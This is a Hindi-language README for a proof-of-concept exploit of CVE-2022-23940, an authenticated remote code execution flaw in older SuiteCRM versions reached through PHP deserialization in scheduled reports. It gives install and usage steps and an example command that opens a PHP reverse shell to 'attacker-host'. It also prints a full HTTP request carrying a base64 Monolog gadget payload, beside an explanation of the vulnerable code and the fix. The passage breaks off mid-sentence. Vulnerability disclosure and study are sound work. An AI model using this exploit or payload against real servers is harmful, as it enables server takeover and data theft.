
CVE-2022-23940 के लिए PoC
CVE-2022-23940 उर्फ SCRMBT-#187 के लिए PoC - SuiteCRM (<= 7.12.4) और SuiteCRM-Core (<= 8.0.3) में शेड्यूल्ड रिपोर्ट्स के माध्यम से प्रमाणित रिमोट कोड निष्पादन (Authenticated Remote Code Execution)।
यह भेद्यता SalesAgility को सूचित की गई थी और SuiteCRM 7.12.5 और SuiteCRM Core 8.0.4 में ठीक कर दी गई है। प्रभावित संस्करणों में, कोई भी उपयोगकर्ता जिसके पास शेड्यूल्ड रिपोर्ट्स (Scheduled Reports) बनाने की अनुमति है, वह रिमोट कोड निष्पादन प्राप्त कर सकता है और सर्वर से समझौता कर सकता है। यदि आप SuiteCRM के पुराने संस्करणों का उपयोग कर रहे हैं, तो मैं अत्यधिक सलाह देता हूँ कि आप अपडेट करें।
स्थापना (Installation)
python3 और pip का हालिया संस्करण स्थापित है।git clone https://github.com/manuelz120/CVE-2022-23940.gitpip3 install -r "requirements.txt"उपलब्ध विकल्प:
(.venv) ➜ CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2022-23940
उदाहरण उपयोग:
# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
जो उपयोगकर्ता शेड्यूल्ड रिपोर्ट्स (Scheduled Reports) बना सकते हैं (AOR_Scheduled_Reports मॉड्यूल में प्रविष्टियाँ बना सकते हैं), वे PHP डिसीरियलाइज़ेशन भेद्यता (PHP deserialization vulnerability) का दुरुपयोग करके सर्वर पर मनमाना कोड निष्पादित कर सकते हैं।
AOR_Scheduled_Reports मॉड्यूल रिपोर्ट के ईमेल प्राप्तकर्ताओं को डेटाबेस में सीरियलाइज़्ड, बेस64 एन्कोडेड स्ट्रिंग्स के रूप में संग्रहीत करता है। जब किसी शेड्यूल्ड रिपोर्ट के लिए डेटा प्राप्त होता है, तो उल्लिखित कॉलम डिसीरियलाइज़ हो जाता है। यदि हमलावर इस कॉलम में मनमानी सामग्री डालने में सक्षम होते हैं, तो वे विभिन्न PHP डिसीरियलाइज़ेशन गैजेट्स के माध्यम से RCE प्राप्त कर सकते हैं (मेरे परीक्षणों में मैंने phpggc टूल से Monolog/RCE2 का उपयोग किया)।
पेलोड को AOR_Scheduled_Reports मॉड्यूल के लीगेसी सेव कॉल का उपयोग करके डेटाबेस में संग्रहीत किया जा सकता है। सर्वर गलती से मान लेता है कि email_recipients पैरामीटर हमेशा एक ऐरे (array) होता है। हालाँकि, यदि कोई दुर्भावनापूर्ण क्लाइंट email_recipients को केवल एक स्ट्रिंग के रूप में भेजता है, तो डेटा डेटाबेस में वैसे ही संग्रहीत हो जाता है जैसा है। एक बार डिसीरियलाइज़ होने पर, गैजेट सर्वर पर निष्पादित हो जाते हैं और हम रिमोट कोड निष्पादन प्राप्त कर लेते हैं।
AOR_Scheduled_Reports वर्ग में save फ़ंक्शन का भेद्य कार्यान्वयन। नीचे, हम देख सकते हैं कि get_email_recipients डेटाबेस में संग्रहीत सामग्री पर unserialize को कॉल करता है:
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php
public function save($check_notify = false)
{
if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
$this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
}
return parent::save($check_notify);
}
public function get_email_recipients()
{
$params = unserialize(base64_decode($this->email_recipients));
// ....
ऐसी दुर्भावनापूर्ण शेड्यूल्ड रिपोर्ट बनाने के लिए एक उदाहरण अनुरोध इस प्रकार दिखता है (यदि आप email_recipients के मान को डिकोड करते हैं, तो आप देख सकते हैं कि यह केवल touch /tmp/hacked निष्पादित करता है):
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999
module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A
यदि हम फिक्स्ड कोड को देखें, तो हम देख सकते हैं कि डेवलपर्स ने एक नया parseRecipients फ़ंक्शन जोड़ा है जो डेटाबेस में सहेजने से पहले email_recipients पैरामीटर में संग्रहीत डेटा को पार्स और मान्य करता है। केवल यदि मान अपेक्षित प्रारूप से मेल खाता है, तो डेटा संग्रहीत किया जाता है। इसलिए, Deserialization RCE अब काम नहीं करता:
